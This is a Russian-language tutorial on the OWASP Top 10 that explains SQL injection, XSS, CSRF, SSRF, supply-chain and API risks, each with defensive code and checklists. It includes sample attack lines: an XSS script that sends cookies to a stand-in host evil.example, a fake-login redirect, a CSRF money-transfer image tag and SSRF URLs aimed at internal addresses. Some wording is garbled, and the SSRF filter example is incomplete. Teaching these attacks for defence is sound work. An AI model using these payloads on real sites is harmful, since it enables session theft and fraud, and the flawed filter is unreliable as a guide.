OWASP Top 10
Разбираем рейтинг самых опасных веб-уязвимостей простыми словами: SQL-инъекции, сломанную аутентификацию, XSS, CSRF и другие пункты списка — и учимся закрывать их в своих проектах.
1. Что такое OWASP и рейтинг Top 10
OWASP (Open Worldwide Application Security Project) — некоммерческая организация, которая собирает информацию о самых опасных уязвимостях веб-приложений. Раз в несколько лет публикуется рейтинг Top 10: список того, что встречается чаще всего и причиняет больше всего вреда.
Top 10 — это не полный перечень всех возможных уязвимостей, а «горячая десятка» по данным реальных аудитов. Закрыв эти категории, вы закрываете большую часть простых атак на приложение.
| Позиция | Пункт рейтинга | Суть |
|---|---|---|
| A01 | Broken Access Control | проблемы доступа |
| A02 | Cryptographic Failures | ошибки шифрования |
| A03 | Injection | инъекции (SQL и другие) |
| A04 | Insecure Design | небезопасный дизайн |
| A05 | Security Misconfiguration | ошибки конфигурации |
| A06 | Vulnerable and Outdated Components | небезопасные компоненты |
| A07 | Identification and Authentication Failures | сломанная аутентификация |
| A08 | Software and Data Integrity Failures | нарушения целостности |
| A09 | Logging and Monitoring Failures | логирование и мониторинг |
| A10 | Server-Side Request Forgery | SSRF: поддельные запросы сервера |
2. Инъекции (SQL)
Инъекция — когда ввод пользователя выполняется как часть запроса или команды. Классический пример — SQL-инъекция через форму входа или параметры запроса.
-- уязвимо: «склейка» строк из данных запроса
query = "SELECT * FROM products WHERE id = " + request.GET["id"]
-- безопасно: параметризованный запрос
cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))3. Нерабочая аутентификация
Аутентификация «сломана», когда злоумышленнику легко подобрать пароль, обойти проверку или украсть сессию:
- нет ограничения числа неверных попыток;
- пароли хранятся открыто или без соли;
- разрешены слабые пароли и нет 2FA;
- сессии не истекают и не аннулируются при выходе.
# Python: храним только хеш пароля с солью (passlib + bcrypt)
from passlib.hash import bcrypt
hashed = bcrypt.hash(user_password) # пароль в БД никогда не попадает4. XSS (межсайтовый скриптинг)
XSS — внедрение JavaScript в страницу, который выполняется в браузере жертвы: воровать cookie, менять содержимое страницы, перенаправлять на поддельные сайты.
<script>fetch('https://evil.example/steal?c=' + document.cookie)</script>
<img src=x onerror="location='https://evil.example/fake-login'">Защита: экранировать вывод данных, не использовать innerHTML с непроверенными данными, задавать заголовок Content-Security-Policy.
5. Небезопасные зависимости
Современное приложение собирается из десятков и сотен библиотек. Уязвимость внутри одной из них делает уязвимым весь проект — поэтому зависимости нужно проверять и обновлять.
# проверить зависимости на известные уязвимости
pip-audit # Python
npm audit # JavaScript
trivy image my-app # контейнерный образ- обновляйте зависимости по расписанию, а не «когда-нибудь»;
- следите за CVE-отчётами популярных библиотек;
- используйте зафиксированные версии (
lock-файлы) для воспроизводимых сборок.
6. Проблемы доступа
Управление доступом сломано, когда пользователь может сделать то, что ему не разрешено: посмотреть чужой профиль, отредактировать чужой заказ, вызвать административный метод.
# небезопасно: идентичность берётся из параметра запроса
# /profile?user_id=15
# безопасно: текущий пользователь берётся из сессии
current_user_id = request.session["user_id"]- проверяйте права на сервере, а не только скрывайте кнопки в интерфейсе;
- не доверяйте
user_idиз URL и тела запроса; - разделяйте роли и проверяйте каждое действие, а не только страницу.
7. Ошибки конфигурации
Security misconfiguration — это незакрытые «двери» в настройках: открытые панели администрирования, дефолтные пароли, включённый debug-режим на проде, лишние открытые порты.
- выключайте debug и подробные ошибки на продакшене;
- меняйте дефолтные учётные записи БД и сервисов;
- закрывайте ненужные порты и не храните ключи в репозитории;
- задавайте лимиты и таймауты, отдавайте минимум информации о версиях.
8. CSRF
CSRF — атака, при которой браузер жертвы отправляет запрос от её имени. Пользователь залогинен на сайте, затем открывает страницу с «картинкой», которая шлёт запрос «перевести деньги» или «сменить email».
<img src="https://bank.example/transfer?sender=me&to=attacker&amount=1000">Защита: секретный CSRF-токен в каждой форме, проверка заголовка Origin или Referer, cookie с атрибутом SameSite.
9. Логирование и мониторинг
Если атаку не видно, вы ничего с ней не сделаете. Логирование и мониторинг нужны, чтобы заметить подозрительные действия и вовремя среагировать.
- пишите логи входов, смены прав, ошибок и отказанных запросов;
- никогда не кладите пароли и токены в логи;
- настройте алерты на подозрительную активность: много неверных паролей, нагрузка в необычное время.
10. Как применять на практике
Меньше теории — больше действий. Чек-лист для любого проекта:
- параметризуйте все запросы к БД;
- храните пароли как хеши с солью, включите 2FA;
- экранируйте вывод пользовательских данных;
- проверяйте права на сервере, а не в интерфейсе;
- обновляйте зависимости и включите автоматические проверки в CI;
- настройте логирование и алерты;
- делайте бэкапы и проверяйте их восстановление.
11. SSRF — поддельные серверные запросы
SSRF возникает, когда приложение по параметру пользователя обращается к внутреннему URL. Злоумышленник может скрыть внутреннюю инфраструктуру: метаданные облака (169.254.169.254), панели администрирования, внутренние API.
| Уязвимость | Пример атаки |
|---|---|
| Открытый параметр url | /fetch?url=http://127.0.0.1:8080/ |
| Редиректы | внешний URL перенаправляет на внутренний |
| DNS-респаундинг | домен меняет IP на приватный между резолюциями |
// Запрет локальных адресов
const host = new URL(targetUrl).hostname;
const ip = dns.lookupSync(host);
const blocked = ip.startsWith('10.') || ip === '127.0.0.1';
if (blocked) throw new Error('Доступ запрещён');12. Небезопасный дизайн и угрозы на этапе проектирования
Часть уязвимостей заложена в архитектуре, а не в коде: недостаточное разделение прав, отсутствие лимитов и слабая модель доверия. Identity и misuse cases нужно рассматривать до написания кода.
- Считайте интерфейсы внешними: любой внутренний сервис — потенциальная цель.
- Планируйте отсутствие доверия ко входу и логом всех чувствительных действий.
- Ограничивайте экспозицию данных по роли даже при единой базе.
13. Уязвимости цепочки поставок ПО
Атаки идут не на ваш код, а на зависимости: пакет с троянской правкой, бэкдор в библиотеке, подделанный публикатор. Защита строится на контроле происхождения и целостности.
# Проверка зависимостей
npm audit --production
pip audit
# Хеши и подписи пакетов
npm ci --ignore-scripts # не выполнять postinstall- Lock-файлы — фиксируют точные версии транзитивных пакетов.
- SBOM — инвентаризация всех компонентов сборки.
- Сигнатуры и hashes — верификация загрузки.
14. Автоматизация проверок: SAST, DAST и инструменты
Безопасность лучше автоматизировать. Статические анализаторы (SAST) ищут уязвимости в коде без запуска, динамические (DAST) — атакуют работающее приложение, а зависимостные сканеры сверяют CVE.
| Инструмент | Тип | Что находит |
|---|---|---|
| Semgrep, CodeQL | SAST | инъекции, устаревшие API, паттерны |
| OWASP ZAP | DAST | XSS, CSRF, инъекции на живом сайте |
| Trivy, Snyk | SCA | уязвимые зависимости |
# CI: статическая проверка
semgrep scan --config=p/owasp-top-ten ./src
# Сканирование контейнера
trivy fs . --severity HIGH,CRITICAL15. Безопасность API: REST и GraphQL
API — самая уязвимая поверхность современного приложения: каждый эндпоинт принимает ввод от неизвестного клиента. OWASP API Security Top-10 напоминает о типовых ошибках: отсутствие лимитов, слабая авторизация на уровне объектов (BOLA) и массовое присвоение полей (mass assignment).
# плохо: пользователь сам решает свой уровень прав
POST /users { "role": "admin" }
# хорошо: роль назначается сервером, ввод белый список
POST /users { "name": "...", "email": "..." }
# авторизация на объект: проверяем владельца
GET /orders/123 → только если order.user_id == current_userКлючевые правила: не доверяйте ни одному заголовку и телу, проверяйте владельца каждого ресурса (object-level authorization), ограничьте число запросов в минуту (rate limit), в GraphQL закрывайте сложные перекрёстные запросы max depth и cost. Для GraphQL важны ограничение глубины и заблокированные introspective-запросы в проде.
| Тип ошибки | Как закрыть |
|---|---|
| BOLA | проверка владельца до отдачи данных |
| Mass assignment | белый список полей при создании/обновлении |
| Rate limit | лимиты по ключу, IP, плану пользователя |
16. Безопасность контейнеров и CI/CD
Образ — артефакт, который попадает в кластер: уязвимость в зависимостях или конфигурации образа моментально становится дырой прода. Регулярно сканируйте образы (Trivy, Grype, Snyk) и соберите пайплайн с безопасным дефолтом: не root-пользователь, read-only rootfs, никаких секретов в слоях.
# безопасный Dockerfile
FROM node:22-slim
USER node
COPY --chown=node:node app.js /app/
WORKDIR /app
CMD ["node", "app.js"]
# в CI — скан до публикации
trivy fs . --severity HIGH,CRITICAL --exit-code 1Секреты в build-аргументах кэшируются в слоях — передавайте их рантайм-инстанцией через secrets-механизм. В CI добавьте проверки: линтер кода, SCA-уязвимости с fail-условием, подпись артефакта и повторное сканирование перед выкаткой.
- Пины версий базовых образов: node:22-slim, а не latest.
- У разрешений контейнера минимум: нет SETUID, нет открытых портов сверх нужных.
- Ключи подписи храните в отдельном секрет-хранилище и не логируйте их в CI.
17. Безопасный SDLC и code review
Хороший продукт включает безопасность на каждом этапе: threat modeling при проектировании, код-ревью с чек-листом минимума и безопасные дефолты в библиотеках. Модели угроз рисуют стрелками «кто может дотянуться до этого ресурса», а проверка PR ловит типовые ошибки раньше, чем их зафиксирует пентест.
# чек-лист code review (sample)
1. SQL — параметризован? 2. Роли/права проверены?
3. Ввод валидируется (тип, длина, allowlist)?
4. Секреты не под хардкодом?
5. Логи не содержат PII?
6. Заголовки ответов (CSP, SameSite)?В ревью фокусируются на местах «пересечения доверия»: приём внешнего ввода, авторизация, выходные данные в UI (XSS), настройки серийных компонентов (CSRF). Автоматические SAST с дешёвыми ложными срабатываниями дополняют ручной взгляд, но не заменяют его.
18. Реагирование на инциденты
Когда взлом всё-таки случился, главный вопрос — не «какой ущерб», а «как быстро и чисто восстановиться». План реагирования содержит роль каждого члена команды, контакты, playbook по типам инцидентов и каналы связи с юристами и клиентами. Чем предсказуемее процесс, тем меньше паники.
# минимальный runbook
1. Детекция — алерт, тикет SOC, приоритизация
2. Сдерживание — отключение учётных записей, изоляция хоста
3. Исследование — копии логов, анализ вектора атаки
4. Искоренение — удаление дыры, ротация всех ключей
5. Восстановление — возврат из чистых бэкапов, усиление мониторинга
6. Уроки — постмортем, план предотвращения повторенияХраните логи централизованно и в append-only режиме, чтобы злоумышленник не смог их уничтожить. Постмортем пишите без обвинений: цель — не найти виноватого, а закрыть системные пробелы, которые допустили инцидент.
| Фаза | Типичная длительность | Ключевой артефакт |
|---|---|---|
| Сдерживание | минуты–часы | craft инцидента |
| Исследование | часы–дни | хронология и векторы |
| Восстановление | дни | проверенные бэкапы |
| Постмортем | 1–2 недели | исключённые системные факторы |
Что дальше
Примените чек-лист к своему проекту — начните с параметризованных запросов и проверки прав. Основы защиты устройств и привычек — в уроке Основы кибербезопасности. Для продакшена изучите Docker и Kubernetes, где живут ваши сервисы.